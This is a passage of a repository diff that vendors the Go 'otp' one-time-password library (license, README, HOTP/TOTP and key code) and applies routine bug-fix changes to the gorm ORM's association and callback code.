modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+5
View File
@@ -0,0 +1,5 @@
otp
Copyright (c) 2014, Paul Querna
This product includes software developed by
Paul Querna (http://paul.querna.org/).
+60
View File
@@ -0,0 +1,60 @@
# otp: One Time Password utilities Go / Golang
[![PkgGoDev](https://pkg.go.dev/badge/github.com/pquerna/otp)](https://pkg.go.dev/github.com/pquerna/otp) [![Build Status](https://travis-ci.org/pquerna/otp.svg?branch=master)](https://travis-ci.org/pquerna/otp)
# Why One Time Passwords?
One Time Passwords (OTPs) are an mechanism to improve security over passwords alone. When a Time-based OTP (TOTP) is stored on a user's phone, and combined with something the user knows (Password), you have an easy on-ramp to [Multi-factor authentication](http://en.wikipedia.org/wiki/Multi-factor_authentication) without adding a dependency on a SMS provider. This Password and TOTP combination is used by many popular websites including Google, Github, Facebook, Salesforce and many others.
The `otp` library enables you to easily add TOTPs to your own application, increasing your user's security against mass-password breaches and malware.
Because TOTP is standardized and widely deployed, there are many [mobile clients and software implementations](http://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm#Client_implementations).
## `otp` Supports:
* Generating QR Code images for easy user enrollment.
* Time-based One-time Password Algorithm (TOTP) (RFC 6238): Time based OTP, the most commonly used method.
* HMAC-based One-time Password Algorithm (HOTP) (RFC 4226): Counter based OTP, which TOTP is based upon.
* Generation and Validation of codes for either algorithm.
## Implementing TOTP in your application:
### User Enrollment
For an example of a working enrollment work flow, [Github has documented theirs](https://help.github.com/articles/configuring-two-factor-authentication-via-a-totp-mobile-app/
), but the basics are:
1. Generate new TOTP Key for a User. `key,_ := totp.Generate(...)`.
1. Display the Key's Secret and QR-Code for the User. `key.Secret()` and `key.Image(...)`.
1. Test that the user can successfully use their TOTP. `totp.Validate(...)`.
1. Store TOTP Secret for the User in your backend. `key.Secret()`
1. Provide the user with "recovery codes". (See Recovery Codes bellow)
### Code Generation
* In either TOTP or HOTP cases, use the `GenerateCode` function and a counter or
`time.Time` struct to generate a valid code compatible with most implementations.
* For uncommon or custom settings, or to catch unlikely errors, use `GenerateCodeCustom`
in either module.
### Validation
1. Prompt and validate User's password as normal.
1. If the user has TOTP enabled, prompt for TOTP passcode.
1. Retrieve the User's TOTP Secret from your backend.
1. Validate the user's passcode. `totp.Validate(...)`
### Recovery Codes
When a user loses access to their TOTP device, they would no longer have access to their account. Because TOTPs are often configured on mobile devices that can be lost, stolen or damaged, this is a common problem. For this reason many providers give their users "backup codes" or "recovery codes". These are a set of one time use codes that can be used instead of the TOTP. These can simply be randomly generated strings that you store in your backend. [Github's documentation provides an overview of the user experience](
https://help.github.com/articles/downloading-your-two-factor-authentication-recovery-codes/).
## Improvements, bugs, adding feature, etc:
Please [open issues in Github](https://github.com/pquerna/otp/issues) for ideas, bugs, and general thoughts. Pull requests are of course preferred :)
## License
`otp` is licensed under the [Apache License, Version 2.0](./LICENSE)
+70
View File
@@ -0,0 +1,70 @@
/**
* Copyright 2014 Paul Querna
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// Package otp implements both HOTP and TOTP based
// one time passcodes in a Google Authenticator compatible manner.
//
// When adding a TOTP for a user, you must store the "secret" value
// persistently. It is recommend to store the secret in an encrypted field in your
// datastore. Due to how TOTP works, it is not possible to store a hash
// for the secret value like you would a password.
//
// To enroll a user, you must first generate an OTP for them. Google
// Authenticator supports using a QR code as an enrollment method:
//
// import (
// "github.com/pquerna/otp/totp"
//
// "bytes"
// "image/png"
// )
//
// key, err := totp.Generate(totp.GenerateOpts{
// Issuer: "Example.com",
// AccountName: "[email protected]",
// })
//
// // Convert TOTP key into a QR code encoded as a PNG image.
// var buf bytes.Buffer
// img, err := key.Image(200, 200)
// png.Encode(&buf, img)
//
// // display the QR code to the user.
// display(buf.Bytes())
//
// // Now Validate that the user's successfully added the passcode.
// passcode := promptForPasscode()
// valid := totp.Validate(passcode, key.Secret())
//
// if valid {
// // User successfully used their TOTP, save it to your backend!
// storeSecret("[email protected]", key.Secret())
// }
//
// Validating a TOTP passcode is very easy, just prompt the user for a passcode
// and retrieve the associated user's previously stored secret.
// import "github.com/pquerna/otp/totp"
//
// passcode := promptForPasscode()
// secret := getSecret("[email protected]")
//
// valid := totp.Validate(passcode, secret)
//
// if valid {
// // Success! continue login process.
// }
package otp
+211
View File
@@ -0,0 +1,211 @@
/**
* Copyright 2014 Paul Querna
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package hotp
import (
"github.com/pquerna/otp"
"io"
"crypto/hmac"
"crypto/rand"
"crypto/subtle"
"encoding/base32"
"encoding/binary"
"fmt"
"math"
"net/url"
"strings"
)
const debug = false
// Validate a HOTP passcode given a counter and secret.
// This is a shortcut for ValidateCustom, with parameters that
// are compataible with Google-Authenticator.
func Validate(passcode string, counter uint64, secret string) bool {
rv, _ := ValidateCustom(
passcode,
counter,
secret,
ValidateOpts{
Digits: otp.DigitsSix,
Algorithm: otp.AlgorithmSHA1,
},
)
return rv
}
// ValidateOpts provides options for ValidateCustom().
type ValidateOpts struct {
// Digits as part of the input. Defaults to 6.
Digits otp.Digits
// Algorithm to use for HMAC. Defaults to SHA1.
Algorithm otp.Algorithm
}
// GenerateCode creates a HOTP passcode given a counter and secret.
// This is a shortcut for GenerateCodeCustom, with parameters that
// are compataible with Google-Authenticator.
func GenerateCode(secret string, counter uint64) (string, error) {
return GenerateCodeCustom(secret, counter, ValidateOpts{
Digits: otp.DigitsSix,
Algorithm: otp.AlgorithmSHA1,
})
}
// GenerateCodeCustom uses a counter and secret value and options struct to
// create a passcode.
func GenerateCodeCustom(secret string, counter uint64, opts ValidateOpts) (passcode string, err error) {
// As noted in issue #10 and #17 this adds support for TOTP secrets that are
// missing their padding.
secret = strings.TrimSpace(secret)
if n := len(secret) % 8; n != 0 {
secret = secret + strings.Repeat("=", 8-n)
}
// As noted in issue #24 Google has started producing base32 in lower case,
// but the StdEncoding (and the RFC), expect a dictionary of only upper case letters.
secret = strings.ToUpper(secret)
secretBytes, err := base32.StdEncoding.DecodeString(secret)
if err != nil {
return "", otp.ErrValidateSecretInvalidBase32
}
buf := make([]byte, 8)
mac := hmac.New(opts.Algorithm.Hash, secretBytes)
binary.BigEndian.PutUint64(buf, counter)
if debug {
fmt.Printf("counter=%v\n", counter)
fmt.Printf("buf=%v\n", buf)
}
mac.Write(buf)
sum := mac.Sum(nil)
// "Dynamic truncation" in RFC 4226
// http://tools.ietf.org/html/rfc4226#section-5.4
offset := sum[len(sum)-1] & 0xf
value := int64(((int(sum[offset]) & 0x7f) << 24) |
((int(sum[offset+1] & 0xff)) << 16) |
((int(sum[offset+2] & 0xff)) << 8) |
(int(sum[offset+3]) & 0xff))
l := opts.Digits.Length()
mod := int32(value % int64(math.Pow10(l)))
if debug {
fmt.Printf("offset=%v\n", offset)
fmt.Printf("value=%v\n", value)
fmt.Printf("mod'ed=%v\n", mod)
}
return opts.Digits.Format(mod), nil
}
// ValidateCustom validates an HOTP with customizable options. Most users should
// use Validate().
func ValidateCustom(passcode string, counter uint64, secret string, opts ValidateOpts) (bool, error) {
passcode = strings.TrimSpace(passcode)
if len(passcode) != opts.Digits.Length() {
return false, otp.ErrValidateInputInvalidLength
}
otpstr, err := GenerateCodeCustom(secret, counter, opts)
if err != nil {
return false, err
}
if subtle.ConstantTimeCompare([]byte(otpstr), []byte(passcode)) == 1 {
return true, nil
}
return false, nil
}
// GenerateOpts provides options for .Generate()
type GenerateOpts struct {
// Name of the issuing Organization/Company.
Issuer string
// Name of the User's Account (eg, email address)
AccountName string
// Size in size of the generated Secret. Defaults to 10 bytes.
SecretSize uint
// Secret to store. Defaults to a randomly generated secret of SecretSize. You should generally leave this empty.
Secret []byte
// Digits to request. Defaults to 6.
Digits otp.Digits
// Algorithm to use for HMAC. Defaults to SHA1.
Algorithm otp.Algorithm
// Reader to use for generating HOTP Key.
Rand io.Reader
}
var b32NoPadding = base32.StdEncoding.WithPadding(base32.NoPadding)
// Generate creates a new HOTP Key.
func Generate(opts GenerateOpts) (*otp.Key, error) {
// url encode the Issuer/AccountName
if opts.Issuer == "" {
return nil, otp.ErrGenerateMissingIssuer
}
if opts.AccountName == "" {
return nil, otp.ErrGenerateMissingAccountName
}
if opts.SecretSize == 0 {
opts.SecretSize = 10
}
if opts.Digits == 0 {
opts.Digits = otp.DigitsSix
}
if opts.Rand == nil {
opts.Rand = rand.Reader
}
// otpauth://totp/Example:[email protected]?secret=JBSWY3DPEHPK3PXP&issuer=Example
v := url.Values{}
if len(opts.Secret) != 0 {
v.Set("secret", b32NoPadding.EncodeToString(opts.Secret))
} else {
secret := make([]byte, opts.SecretSize)
_, err := opts.Rand.Read(secret)
if err != nil {
return nil, err
}
v.Set("secret", b32NoPadding.EncodeToString(secret))
}
v.Set("issuer", opts.Issuer)
v.Set("algorithm", opts.Algorithm.String())
v.Set("digits", opts.Digits.String())
u := url.URL{
Scheme: "otpauth",
Host: "hotp",
Path: "/" + opts.Issuer + ":" + opts.AccountName,
RawQuery: v.Encode(),
}
return otp.NewKeyFromURL(u.String())
}
+223
View File
@@ -0,0 +1,223 @@
/**
* Copyright 2014 Paul Querna
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package otp
import (
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/qr"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/sha512"
"errors"
"fmt"
"hash"
"image"
"net/url"
"strings"
"strconv"
)
// Error when attempting to convert the secret from base32 to raw bytes.
var ErrValidateSecretInvalidBase32 = errors.New("Decoding of secret as base32 failed.")
// The user provided passcode length was not expected.
var ErrValidateInputInvalidLength = errors.New("Input length unexpected")
// When generating a Key, the Issuer must be set.
var ErrGenerateMissingIssuer = errors.New("Issuer must be set")
// When generating a Key, the Account Name must be set.
var ErrGenerateMissingAccountName = errors.New("AccountName must be set")
// Key represents an TOTP or HTOP key.
type Key struct {
orig string
url *url.URL
}
// NewKeyFromURL creates a new Key from an TOTP or HOTP url.
//
// The URL format is documented here:
// https://github.com/google/google-authenticator/wiki/Key-Uri-Format
//
func NewKeyFromURL(orig string) (*Key, error) {
s := strings.TrimSpace(orig)
u, err := url.Parse(s)
if err != nil {
return nil, err
}
return &Key{
orig: s,
url: u,
}, nil
}
func (k *Key) String() string {
return k.orig
}
// Image returns an QR-Code image of the specified width and height,
// suitable for use by many clients like Google-Authenricator
// to enroll a user's TOTP/HOTP key.
func (k *Key) Image(width int, height int) (image.Image, error) {
b, err := qr.Encode(k.orig, qr.M, qr.Auto)
if err != nil {
return nil, err
}
b, err = barcode.Scale(b, width, height)
if err != nil {
return nil, err
}
return b, nil
}
// Type returns "hotp" or "totp".
func (k *Key) Type() string {
return k.url.Host
}
// Issuer returns the name of the issuing organization.
func (k *Key) Issuer() string {
q := k.url.Query()
issuer := q.Get("issuer")
if issuer != "" {
return issuer
}
p := strings.TrimPrefix(k.url.Path, "/")
i := strings.Index(p, ":")
if i == -1 {
return ""
}
return p[:i]
}
// AccountName returns the name of the user's account.
func (k *Key) AccountName() string {
p := strings.TrimPrefix(k.url.Path, "/")
i := strings.Index(p, ":")
if i == -1 {
return p
}
return p[i+1:]
}
// Secret returns the opaque secret for this Key.
func (k *Key) Secret() string {
q := k.url.Query()
return q.Get("secret")
}
// Period returns a tiny int representing the rotation time in seconds.
func (k *Key) Period() uint64 {
q := k.url.Query()
if u, err := strconv.ParseUint(q.Get("period"), 10, 64); err == nil {
return u
}
// If no period is defined 30 seconds is the default per (rfc6238)
return 30
}
// URL returns the OTP URL as a string
func (k *Key) URL() string {
return k.url.String()
}
// Algorithm represents the hashing function to use in the HMAC
// operation needed for OTPs.
type Algorithm int
const (
// AlgorithmSHA1 should be used for compatibility with Google Authenticator.
//
// See https://github.com/pquerna/otp/issues/55 for additional details.
AlgorithmSHA1 Algorithm = iota
AlgorithmSHA256
AlgorithmSHA512
AlgorithmMD5
)
func (a Algorithm) String() string {
switch a {
case AlgorithmSHA1:
return "SHA1"
case AlgorithmSHA256:
return "SHA256"
case AlgorithmSHA512:
return "SHA512"
case AlgorithmMD5:
return "MD5"
}
panic("unreached")
}
func (a Algorithm) Hash() hash.Hash {
switch a {
case AlgorithmSHA1:
return sha1.New()
case AlgorithmSHA256:
return sha256.New()
case AlgorithmSHA512:
return sha512.New()
case AlgorithmMD5:
return md5.New()
}
panic("unreached")
}
// Digits represents the number of digits present in the
// user's OTP passcode. Six and Eight are the most common values.
type Digits int
const (
DigitsSix Digits = 6
DigitsEight Digits = 8
)
// Format converts an integer into the zero-filled size for this Digits.
func (d Digits) Format(in int32) string {
f := fmt.Sprintf("%%0%dd", d)
return fmt.Sprintf(f, in)
}
// Length returns the number of characters for this Digits.
func (d Digits) Length() int {
return int(d)
}
func (d Digits) String() string {
return fmt.Sprintf("%d", d)
}
+206
View File
@@ -0,0 +1,206 @@
/**
* Copyright 2014 Paul Querna
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package totp
import (
"github.com/pquerna/otp"
"github.com/pquerna/otp/hotp"
"io"
"crypto/rand"
"encoding/base32"
"math"
"net/url"
"strconv"
"time"
)
// Validate a TOTP using the current time.
// A shortcut for ValidateCustom, Validate uses a configuration
// that is compatible with Google-Authenticator and most clients.
func Validate(passcode string, secret string) bool {
rv, _ := ValidateCustom(
passcode,
secret,
time.Now().UTC(),
ValidateOpts{
Period: 30,
Skew: 1,
Digits: otp.DigitsSix,
Algorithm: otp.AlgorithmSHA1,
},
)
return rv
}
// GenerateCode creates a TOTP token using the current time.
// A shortcut for GenerateCodeCustom, GenerateCode uses a configuration
// that is compatible with Google-Authenticator and most clients.
func GenerateCode(secret string, t time.Time) (string, error) {
return GenerateCodeCustom(secret, t, ValidateOpts{
Period: 30,
Skew: 1,
Digits: otp.DigitsSix,
Algorithm: otp.AlgorithmSHA1,
})
}
// ValidateOpts provides options for ValidateCustom().
type ValidateOpts struct {
// Number of seconds a TOTP hash is valid for. Defaults to 30 seconds.
Period uint
// Periods before or after the current time to allow. Value of 1 allows up to Period
// of either side of the specified time. Defaults to 0 allowed skews. Values greater
// than 1 are likely sketchy.
Skew uint
// Digits as part of the input. Defaults to 6.
Digits otp.Digits
// Algorithm to use for HMAC. Defaults to SHA1.
Algorithm otp.Algorithm
}
// GenerateCodeCustom takes a timepoint and produces a passcode using a
// secret and the provided opts. (Under the hood, this is making an adapted
// call to hotp.GenerateCodeCustom)
func GenerateCodeCustom(secret string, t time.Time, opts ValidateOpts) (passcode string, err error) {
if opts.Period == 0 {
opts.Period = 30
}
counter := uint64(math.Floor(float64(t.Unix()) / float64(opts.Period)))
passcode, err = hotp.GenerateCodeCustom(secret, counter, hotp.ValidateOpts{
Digits: opts.Digits,
Algorithm: opts.Algorithm,
})
if err != nil {
return "", err
}
return passcode, nil
}
// ValidateCustom validates a TOTP given a user specified time and custom options.
// Most users should use Validate() to provide an interpolatable TOTP experience.
func ValidateCustom(passcode string, secret string, t time.Time, opts ValidateOpts) (bool, error) {
if opts.Period == 0 {
opts.Period = 30
}
counters := []uint64{}
counter := int64(math.Floor(float64(t.Unix()) / float64(opts.Period)))
counters = append(counters, uint64(counter))
for i := 1; i <= int(opts.Skew); i++ {
counters = append(counters, uint64(counter+int64(i)))
counters = append(counters, uint64(counter-int64(i)))
}
for _, counter := range counters {
rv, err := hotp.ValidateCustom(passcode, counter, secret, hotp.ValidateOpts{
Digits: opts.Digits,
Algorithm: opts.Algorithm,
})
if err != nil {
return false, err
}
if rv == true {
return true, nil
}
}
return false, nil
}
// GenerateOpts provides options for Generate(). The default values
// are compatible with Google-Authenticator.
type GenerateOpts struct {
// Name of the issuing Organization/Company.
Issuer string
// Name of the User's Account (eg, email address)
AccountName string
// Number of seconds a TOTP hash is valid for. Defaults to 30 seconds.
Period uint
// Size in size of the generated Secret. Defaults to 20 bytes.
SecretSize uint
// Secret to store. Defaults to a randomly generated secret of SecretSize. You should generally leave this empty.
Secret []byte
// Digits to request. Defaults to 6.
Digits otp.Digits
// Algorithm to use for HMAC. Defaults to SHA1.
Algorithm otp.Algorithm
// Reader to use for generating TOTP Key.
Rand io.Reader
}
var b32NoPadding = base32.StdEncoding.WithPadding(base32.NoPadding)
// Generate a new TOTP Key.
func Generate(opts GenerateOpts) (*otp.Key, error) {
// url encode the Issuer/AccountName
if opts.Issuer == "" {
return nil, otp.ErrGenerateMissingIssuer
}
if opts.AccountName == "" {
return nil, otp.ErrGenerateMissingAccountName
}
if opts.Period == 0 {
opts.Period = 30
}
if opts.SecretSize == 0 {
opts.SecretSize = 20
}
if opts.Digits == 0 {
opts.Digits = otp.DigitsSix
}
if opts.Rand == nil {
opts.Rand = rand.Reader
}
// otpauth://totp/Example:[email protected]?secret=JBSWY3DPEHPK3PXP&issuer=Example
v := url.Values{}
if len(opts.Secret) != 0 {
v.Set("secret", b32NoPadding.EncodeToString(opts.Secret))
} else {
secret := make([]byte, opts.SecretSize)
_, err := opts.Rand.Read(secret)
if err != nil {
return nil, err
}
v.Set("secret", b32NoPadding.EncodeToString(secret))
}
v.Set("issuer", opts.Issuer)
v.Set("period", strconv.FormatUint(uint64(opts.Period), 10))
v.Set("algorithm", opts.Algorithm.String())
v.Set("digits", opts.Digits.String())
u := url.URL{
Scheme: "otpauth",
Host: "totp",
Path: "/" + opts.Issuer + ":" + opts.AccountName,
RawQuery: v.Encode(),
}
return otp.NewKeyFromURL(u.String())
}
+1
View File
@@ -2,3 +2,4 @@ TODO*
documents
coverage.txt
_book
.idea
+1 -1
View File
@@ -17,7 +17,7 @@ The fantastic ORM library for Golang, aims to be developer friendly.
* Hooks (Before/After Create/Save/Update/Delete/Find)
* Eager loading with `Preload`, `Joins`
* Transactions, Nested Transactions, Save Point, RollbackTo to Saved Point
* Context, Prepared Statment Mode, DryRun Mode
* Context, Prepared Statement Mode, DryRun Mode
* Batch Insert, FindInBatches, Find To Map
* SQL Builder, Upsert, Locking, Optimizer/Index/Comment Hints, NamedArg, Search/Update/Create with SQL Expr
* Composite Primary Key
+41 -10
View File
@@ -1,7 +1,6 @@
package gorm
import (
"errors"
"fmt"
"reflect"
"strings"
@@ -27,7 +26,7 @@ func (db *DB) Association(column string) *Association {
association.Relationship = db.Statement.Schema.Relationships.Relations[column]
if association.Relationship == nil {
association.Error = fmt.Errorf("%w: %v", ErrUnsupportedRelation, column)
association.Error = fmt.Errorf("%w: %s", ErrUnsupportedRelation, column)
}
db.Statement.ReflectValue = reflect.ValueOf(db.Statement.Model)
@@ -66,7 +65,9 @@ func (association *Association) Append(values ...interface{}) error {
func (association *Association) Replace(values ...interface{}) error {
if association.Error == nil {
// save associations
association.saveAssociation( /*clear*/ true, values...)
if association.saveAssociation( /*clear*/ true, values...); association.Error != nil {
return association.Error
}
// set old associations's foreign key to null
reflectValue := association.DB.Statement.ReflectValue
@@ -118,7 +119,7 @@ func (association *Association) Replace(values ...interface{}) error {
if _, pvs := schema.GetIdentityFieldValuesMap(reflectValue, primaryFields); len(pvs) > 0 {
column, values := schema.ToQueryValues(rel.FieldSchema.Table, foreignKeys, pvs)
tx.Where(clause.IN{Column: column, Values: values}).UpdateColumns(updateMap)
association.Error = tx.Where(clause.IN{Column: column, Values: values}).UpdateColumns(updateMap).Error
}
case schema.Many2Many:
var (
@@ -154,7 +155,7 @@ func (association *Association) Replace(values ...interface{}) error {
tx.Where(clause.Not(clause.IN{Column: relColumn, Values: relValues}))
}
tx.Delete(modelValue)
association.Error = tx.Delete(modelValue).Error
}
}
return association.Error
@@ -354,7 +355,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
} else if ev.Type().Elem().AssignableTo(elemType) {
fieldValue = reflect.Append(fieldValue, ev.Elem())
} else {
association.Error = fmt.Errorf("unsupported data type: %v for relation %v", ev.Type(), association.Relationship.Name)
association.Error = fmt.Errorf("unsupported data type: %v for relation %s", ev.Type(), association.Relationship.Name)
}
if elemType.Kind() == reflect.Struct {
@@ -378,12 +379,42 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
}
selectedSaveColumns := []string{association.Relationship.Name}
omitColumns := []string{}
selectColumns, _ := association.DB.Statement.SelectAndOmitColumns(true, false)
for name, ok := range selectColumns {
columnName := ""
if strings.HasPrefix(name, association.Relationship.Name) {
if columnName = strings.TrimPrefix(name, association.Relationship.Name); columnName == ".*" {
columnName = name
}
} else if strings.HasPrefix(name, clause.Associations) {
columnName = name
}
if columnName != "" {
if ok {
selectedSaveColumns = append(selectedSaveColumns, columnName)
} else {
omitColumns = append(omitColumns, columnName)
}
}
}
for _, ref := range association.Relationship.References {
if !ref.OwnPrimaryKey {
selectedSaveColumns = append(selectedSaveColumns, ref.ForeignKey.Name)
}
}
associationDB := association.DB.Session(&Session{}).Model(nil)
if !association.DB.FullSaveAssociations {
associationDB.Select(selectedSaveColumns)
}
if len(omitColumns) > 0 {
associationDB.Omit(omitColumns...)
}
associationDB = associationDB.Session(&Session{})
switch reflectValue.Kind() {
case reflect.Slice, reflect.Array:
if len(values) != reflectValue.Len() {
@@ -409,7 +440,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
break
}
association.Error = errors.New("invalid association values, length doesn't match")
association.Error = ErrInvalidValueOfLength
return
}
@@ -417,7 +448,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
appendToRelations(reflectValue.Index(i), reflect.Indirect(reflect.ValueOf(values[i])), clear)
// TODO support save slice data, sql with case?
association.Error = association.DB.Session(&Session{}).Select(selectedSaveColumns).Model(nil).Updates(reflectValue.Index(i).Addr().Interface()).Error
association.Error = associationDB.Updates(reflectValue.Index(i).Addr().Interface()).Error
}
case reflect.Struct:
// clear old data
@@ -439,7 +470,7 @@ func (association *Association) saveAssociation(clear bool, values ...interface{
}
if len(values) > 0 {
association.Error = association.DB.Session(&Session{}).Select(selectedSaveColumns).Model(nil).Updates(reflectValue.Addr().Interface()).Error
association.Error = associationDB.Updates(reflectValue.Addr().Interface()).Error
}
}
@@ -470,7 +501,7 @@ func (association *Association) buildCondition() *DB {
tx.Clauses(clause.Expr{SQL: strings.Replace(joinStmt.SQL.String(), "WHERE ", "", 1), Vars: joinStmt.Vars})
}
tx.Clauses(clause.From{Joins: []clause.Join{{
tx = tx.Session(&Session{QueryFields: true}).Clauses(clause.From{Joins: []clause.Join{{
Table: clause.Table{Name: association.Relationship.JoinTable.Table},
ON: clause.Where{Exprs: queryConds},
}}})
+42 -11
View File
@@ -32,6 +32,7 @@ type callbacks struct {
type processor struct {
db *DB
Clauses []string
fns []func(*DB)
callbacks []*callback
}
@@ -71,19 +72,38 @@ func (cs *callbacks) Raw() *processor {
return cs.processors["raw"]
}
func (p *processor) Execute(db *DB) {
curTime := time.Now()
stmt := db.Statement
func (p *processor) Execute(db *DB) *DB {
// call scopes
for len(db.Statement.scopes) > 0 {
scopes := db.Statement.scopes
db.Statement.scopes = nil
for _, scope := range scopes {
db = scope(db)
}
}
var (
curTime = time.Now()
stmt = db.Statement
resetBuildClauses bool
)
if len(stmt.BuildClauses) == 0 {
stmt.BuildClauses = p.Clauses
resetBuildClauses = true
}
// assign model values
if stmt.Model == nil {
stmt.Model = stmt.Dest
} else if stmt.Dest == nil {
stmt.Dest = stmt.Model
}
// parse model values
if stmt.Model != nil {
if err := stmt.Parse(stmt.Model); err != nil && (!errors.Is(err, schema.ErrUnsupportedDataType) || (stmt.Table == "" && stmt.SQL.Len() == 0)) {
if errors.Is(err, schema.ErrUnsupportedDataType) && stmt.Table == "" {
if err := stmt.Parse(stmt.Model); err != nil && (!errors.Is(err, schema.ErrUnsupportedDataType) || (stmt.Table == "" && stmt.TableExpr == nil && stmt.SQL.Len() == 0)) {
if errors.Is(err, schema.ErrUnsupportedDataType) && stmt.Table == "" && stmt.TableExpr == nil {
db.AddError(fmt.Errorf("%w: Table not set, please set it like: db.Model(&user) or db.Table(\"users\")", err))
} else {
db.AddError(err)
@@ -91,13 +111,18 @@ func (p *processor) Execute(db *DB) {
}
}
// assign stmt.ReflectValue
if stmt.Dest != nil {
stmt.ReflectValue = reflect.ValueOf(stmt.Dest)
for stmt.ReflectValue.Kind() == reflect.Ptr {
if stmt.ReflectValue.IsNil() && stmt.ReflectValue.CanAddr() {
stmt.ReflectValue.Set(reflect.New(stmt.ReflectValue.Type().Elem()))
}
stmt.ReflectValue = stmt.ReflectValue.Elem()
}
if !stmt.ReflectValue.IsValid() {
db.AddError(fmt.Errorf("invalid value"))
db.AddError(ErrInvalidValue)
}
}
@@ -113,6 +138,12 @@ func (p *processor) Execute(db *DB) {
stmt.SQL.Reset()
stmt.Vars = nil
}
if resetBuildClauses {
stmt.BuildClauses = nil
}
return db
}
func (p *processor) Get(name string) func(*DB) {
@@ -181,7 +212,7 @@ func (c *callback) Register(name string, fn func(*DB)) error {
}
func (c *callback) Remove(name string) error {
